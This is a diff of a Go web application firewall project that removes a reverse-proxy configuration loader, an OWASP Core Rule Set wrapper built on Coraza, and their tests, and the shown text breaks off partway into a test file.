// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
// os.LookupEnv. A setting that is not set takes its default, and
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
// invalid is an error that names it. Since rproxy never touches disk, its
// settings have no _FILE form.
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
cfg := &RProxy{
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
}
if env.err != nil {
return nil, env.err
}
cfg.settings = env.settings
return cfg, nil
}
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
// setting, so it reads no other.
func RProxyListenAddrAndUpstreamURL(
lookupEnv func(string) (string, bool),
) (string, *url.URL, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
listenAddr := env.address("SWRP_LISTEN_ADDR")
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
if env.err != nil {
return "", nil, env.err
}
return listenAddr, upstreamURL, nil
}
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
// rproxy never touches disk.
func withoutFileForms(
lookupEnv func(string) (string, bool),
) func(string) (string, bool) {
return func(name string) (string, bool) {
if strings.HasSuffix(name, "_FILE") {
return "", false
}
return lookupEnv(name)
}
}
// LogValue makes an RProxy log as each setting's name with the value it was
// given, or its default.
func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...)
}
// wafBackend reads the setting that is discriminator's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "")
if value == "" {
e.check(name, errNeedsWAFBackend)
return nil
}
backend, err := parseUpstreamURL(value)
e.check(name, err)
return backend
}
// disposition reads the setting that is what is done with a request when discriminator
// cannot be connected to, does not answer at all, or does not answer in time:
// allow or deny.
func (e *environment) disposition(name, defaultValue string) string {
value := e.value(name, defaultValue)
if value != "allow" && value != "deny" {
e.check(name, fmt.Errorf("%q %w", value, errNotDisposition))
}
return value
}
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0.
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
if value == off {
return 0
}
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMillisecondsOrOff))
}
return duration
}
// parseMilliseconds reads a whole number of milliseconds above zero, and
// reports whether it is one.
func parseMilliseconds(value string) (time.Duration, bool) {
n, err := strconv.ParseInt(value, 10, 64)
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
return 0, false
}
return time.Duration(n) * time.Millisecond, true
}
internal/config/rproxy_test.go
-231
View File
@@ -1,231 +0,0 @@
package config_test
import (
"net/netip"
"os"
"path/filepath"
"slices"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
)
// rproxy's settings, by name, and their values in these tests.
const (
wafBackend = "SWRP_WAF_BACKEND"
rproxyTimeout = "SWRP_TIMEOUT_MS"
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
rproxyListen = "SWRP_LISTEN_ADDR"
rproxyUpstream = "SWRP_UPSTREAM_URL"
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
backendURL = "http://discriminator:8080"
rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot"
)
// rproxyConfig reads rproxy's settings from env.
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
return config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := env[name]
return value, ok
})
}
func TestRProxyDefaults(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
if err != nil {
t.Fatalf("settings: %v", err)
}
if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL {
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
}
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
}
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
}
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
}
want := []netip.Prefix{
netip.MustParsePrefix("10.0.0.0/8"),
netip.MustParsePrefix("172.16.0.0/12"),
netip.MustParsePrefix("192.168.0.0/16"),
}
if !slices.Equal(cfg.TrustedProxies, want) {
t.Errorf("trusted proxies %v, want %v", cfg.TrustedProxies, want)
}
}
func TestRProxySettingsAreRead(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{
wafBackend: "https://waf.example:8443",
rproxyListen: ":9000",
rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24",
rproxyTimeout: "150",
rproxyDefault: "deny",
rproxyMaxRequest: "1K",
rproxyMaxResponse: off,
rproxyRequestTime: off,
rproxyAnswerTime: "250",
})
if err != nil {
t.Fatalf("settings: %v", err)
}
if cfg.ListenAddr != ":9000" || cfg.UpstreamURL.Host != "app:3000" ||
cfg.WAFBackend.Host != "waf.example:8443" ||
cfg.TrustedProxies[0] != netip.MustParsePrefix("192.0.2.0/24") {
t.Errorf("addresses %+v", cfg)
}
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
t.Errorf("limits %+v", cfg)
}
}
func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, value string
}{
{wafBackend, ""},
{wafBackend, "discriminator:8080"},
{wafBackend, "http://discriminator:8080/path"},
{rproxyTimeout, "0"},
{rproxyTimeout, "-1"},
{rproxyTimeout, off},
{rproxyTimeout, "2s"},
{rproxyTimeout, "1.25"},
{rproxyTimeout, "99999999999999999"},
{rproxyDefault, "maybe"},
{rproxyListen, "8080"},
{rproxyUpstream, "app"},
{rproxyUpstream, "127.0.0.1:8081"},
{rproxyUpstream, "ftp://127.0.0.1:8081"},
{rproxyUpstream, "http://"},
{rproxyUpstream, "http://:8081"},
{rproxyUpstream, "http://127.0.0.1:0"},
{rproxyUpstream, "http://127.0.0.1:99999"},
{rproxyUpstream, "http://127.0.0.1:8081/app"},
{rproxyUpstream, "http://127.0.0.1:8081/?a=1"},
{rproxyUpstream, "http://user:secret@127.0.0.1:8081"},
{rproxyTrusted, "not a netblock"},
{rproxyTrusted, "10.0.0.0/33"},
{rproxyTrusted, "10.0.0.0/8,,192.168.0.0/16"},
{rproxyTrusted, "fe80::1%eth0"},
{rproxyMaxRequest, notASize},
{rproxyMaxResponse, notASize},
{rproxyRequestTime, "0"},
{rproxyRequestTime, "1m"},
{rproxyAnswerTime, "0"},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("error %v, want one naming %s", err, tc.name)
}
})
}
}
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
if err != nil {
t.Fatalf("settings: %v", err)
}
if len(cfg.TrustedProxies) != 0 {
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
}
}
func TestRProxyNeedsItsBackend(t *testing.T) {
t.Parallel()
_, err := rproxyConfig(nil)
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
}
}
func TestRProxyReadsNoFile(t *testing.T) {
t.Parallel()
path := filepath.Join(t.TempDir(), "backend")
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
if err != nil {
t.Fatalf("write: %v", err)
}
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend)
}
cfg, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": "/nonexistent/timeout",
})
if err != nil {
t.Fatalf("settings: %v, with the file left unread", err)
}
if cfg.Timeout != 2*time.Second {
t.Errorf("timeout %v, want the default", cfg.Timeout)
}
}
func TestRProxySettingsAreLoggedByName(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
if err != nil {
t.Fatalf("settings: %v", err)
}
group := cfg.LogValue().Group()
names := make([]string, 0, len(group))
for _, attr := range group {
names = append(names, attr.Key)
}
for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} {
if !slices.Contains(names, name) {
t.Errorf("%s is not logged, only %v", name, names)
}
}
}
internal/coreruleset/coreruleset.go
-483
View File
@@ -1,483 +0,0 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the nine changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory.
package coreruleset
import (
_ "embed"
"errors"
"fmt"
"io"
"net/http"
"net/netip"
"os"
"regexp"
"slices"
"strconv"
"strings"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
"github.com/corazawaf/coraza/v3"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/types"
)
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third and drupalExclusions for the fourth.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
// setting switches one off. Coraza joins a line ending in \ to the next,
// without the spaces at the start of the next.
const directives = `
# The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
SecResponseBodyAccess Off
Include @crs-setup.conf.example
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.blocking_paranoia_level=%d"
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
# POST and OPTIONS.
SecAction "id:900200,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
# list of the headers it refuses. Content-Encoding goes back on it for a
# body the Core Rule Set reads (900260 in bodyDirectives).
SecAction "id:900250,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
/x-middleware-subrequest/'"
%s
# Coraza keeps the first 1000 query parameters of a request, and the first
# 1000 fields of a form data or JSON body, and drops the rest, which no
# rule then reads, so a request with more adds 5 to the score, as a rule
# the Core Rule Set rates critical does. Coraza's recommended
# configuration refuses such a request in its rules 200004 and 200005.
# This rule runs once the body is read, and before the Core Rule Set adds
# up the score in the same phase.
SecArgumentsLimit 1000
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
# The exclusions file comes before the rules, where the Core Rule Set puts
# its own file of exclusions that run before the rules, so that they run
# before the rules of phase 1 too.
%s
# The eighth change comes before the rules for the same reason.
%s
# So does the ninth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
`
// bodyDirectives have the Core Rule Set read the part of a request body
// Inspect gives it, which is at most one byte longer than the limit, up to
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
// configuration has it in its rules 200000, 200001 and 200006, with
// text/json, and any application or text type ending in +xml or +json,
// besides; form data and multipart Coraza knows by itself. %% stands for
// a % Coraza reads.
const bodyDirectives = `
SecRequestBodyAccess On
SecRequestBodyLimit %d
SecRequestBodyLimitAction ProcessPartial
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
# The rest of the second change: Content-Encoding is refused again on a
# body of a kind the Core Rule Set reads, since a compressed body cannot be
# inspected.
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
"id:900260,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
/content-encoding/'"
# A body Coraza fails to parse (900440), and a multipart body that fails
# its strict checks (900450), each add 5 to the score, as a rule the Core
# Rule Set rates critical does: no rule reads what comes after the fault,
# which the app may still read. Coraza's recommended configuration refuses
# them in its rules 200002 and 200003. A multipart body the limit cuts
# before the colon of a part's header line, or between the carriage return
# and the line feed that end a part's header line or the empty line after
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
# malformed header. Coraza parses any form data body.
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
setvar:'tx.inbound_anomaly_score_pl1=+5'"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// giteaExclusions are the eighth change: the fields of gitea's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed gitea.conf
var giteaExclusions string
// drupalExclusions are the ninth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWW_WAF_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
// ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
}
// The ids of sww's own rules, which an exclusions file may not
// name.
const (
firstOwnRuleID = 900000
lastOwnRuleID = 900999
)
// numberOrRange matches a number, or a range of numbers such as
// 900000-900999. Coraza reads a number with a + before it too, so the
// end of a range may have one.
var numberOrRange = regexp.MustCompile(`(\d+)(?:-\+?(\d+))?`)
// errSwwRuleID is the error of an exclusions file that names an
// id of sww's own rules.
var errSwwRuleID = errors.New("an id of sww's own rules")
// errChangesNoRule is the error of an exclusions file that holds a
// directive that removes or changes rules as it loads, such as
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them.
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"with a ctl exclusion")
// directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to
// the next, without the spaces around either.
func directivesIn(text string) []string {
var directives []string
joined := ""
for line := range strings.Lines(text) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
if start, found := strings.CutSuffix(line, `\`); found {
joined += start
continue
}
directives = append(directives, joined+line)
joined = ""
}
return directives
}
// checkExclusions returns an error if exclusions, the text of an
// exclusions file, names an id of sww's own rules, alone or in a
// range, or holds a directive whose name starts with SecRuleRemove or
// SecRuleUpdate.
func checkExclusions(exclusions string) error {
for _, directive := range directivesIn(exclusions) {
for _, match := range numberOrRange.FindAllStringSubmatch(directive, -1) {
first, _ := strconv.Atoi(match[1])
last := first
if match[2] != "" {
last, _ = strconv.Atoi(match[2])
}
if first <= lastOwnRuleID && last >= firstOwnRuleID {
return fmt.Errorf("the exclusions file names %s: %w", match[0],
errSwwRuleID)
}
}
// Coraza takes the directive's name up to the first space, without
// regard to case.
name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
errChangesNoRule)
}
}
return nil
}
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
engine coraza.WAF
bodyLimit int64
}
// New returns the Core Rule Set with the nine changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
// cannot be read or does not parse, or if checkExclusions refuses it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
}
exclusions := ""
if params.ExclusionsFile != "" {
file, err := os.ReadFile(params.ExclusionsFile)
if err != nil {
return nil, fmt.Errorf("read the exclusions file: %w", err)
}
exclusions = string(file)
err = checkExclusions(exclusions)
if err != nil {
return nil, err
}
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, drupalExclusions)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
for i, id := range params.DisabledRules {
ids[i] = strconv.Itoa(id)
}
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
}
engine, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(text))
if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
type Result struct {
// RuleIDs are the ids of the rules that matched, in the order they
// ran.
RuleIDs []int
// Score is the request's anomaly score: what those rules add up to.
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, and the error that ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
tx := c.engine.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
}
tx.AddRequestHeader(name, value)
}
}
// Go's server takes these two out of the headers.
tx.AddRequestHeader("Host", r.Host)
for _, encoding := range r.TransferEncoding {
tx.AddRequestHeader("Transfer-Encoding", encoding)
}
tx.ProcessRequestHeaders()
read, err := c.readBody(tx, body)
// This reads the body in memory and runs the rest of the rules, and
// cannot fail.
_, _ = tx.ProcessRequestBody()
var ids []int
for _, matched := range tx.MatchedRules() {
// The rules that look for attacks have a severity; the others set
// the Core Rule Set up and add up the score.
rule := matched.Rule()
if rule.Severity() != types.RuleSeverityUnset {
ids = append(ids, rule.ID())
}
}
return Result{RuleIDs: ids, Score: score(tx)}, read, err
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
if c.bodyLimit == 0 {
return nil, nil
}
inPart := false
// How the body is read is a variable of the transaction, which only
// Coraza's interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
switch state.Variables().RequestBodyProcessor().Get() {
case "URLENCODED", "MULTIPART":
inPart = true
case "JSON", "XML":
default:
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
}
return read, err
}
// score returns the anomaly score the Core Rule Set added up in tx, a
// transaction it has run, or 0 if a rule that adds it up is switched off.
func score(tx types.Transaction) int {
// The score is in a variable of the transaction, which only Coraza's
// interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
if len(values) == 0 {
return 0
}
n, _ := strconv.Atoi(values[0])
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
if !slices.Contains(cookiesNotRead, name) {
kept = append(kept, cookie)
}
}
return strings.Join(kept, ";")
}
internal/coreruleset/coreruleset_test.go
-882
View File
@@ -1,882 +0,0 @@
package coreruleset_test
import (
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"os"
"path/filepath"
"reflect"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: level, DisabledRules: disabled,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
method, target string
headers []string
}
// get is a GET request for target with headers.
func get(target string, headers ...string) request {
return request{http.MethodGet, target, headers}
}
// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result {
t.Helper()
result, _ := inspectBody(t, crs, r, "")
return result
}
// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
) (coreruleset.Result, string) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method,
"http://git.example"+r.target, strings.NewReader(body))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
if body != "" {
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
req.TransferEncoding = []string{value}
default:
req.Header.Set(name, value)
}
}
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
if err != nil {
t.Fatalf("read the body: %v", err)
}
return result, string(read)
}
// wantResult checks what crs finds in r.
func wantResult(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result,
) {
t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
}
}
// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) coreruleset.Result {
const critical = 5
return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
}
// atDefaults returns the Core Rule Set as sww runs it by default.
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a request one of the
// nine changes is for, and still finds result in refused, a request like
// it that the change is not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result,
) {
t.Helper()
wantResult(t, crs, passes, coreruleset.Result{})
wantResult(t, crs, refused, result)
}
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, r := range []request{
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
} {
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
}
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
}
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
t.Parallel()
const (
pushType = "Content-Type: application/x-git-receive-pack-request"
fetchType = "Content-Type: application/x-git-upload-pack-request"
length = "Content-Length: 1024"
push = "/owner/repo.git/git-receive-pack"
fetch = "/owner/repo.git/git-upload-pack"
)
crs := atDefaults(t)
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
coreruleset.Result{})
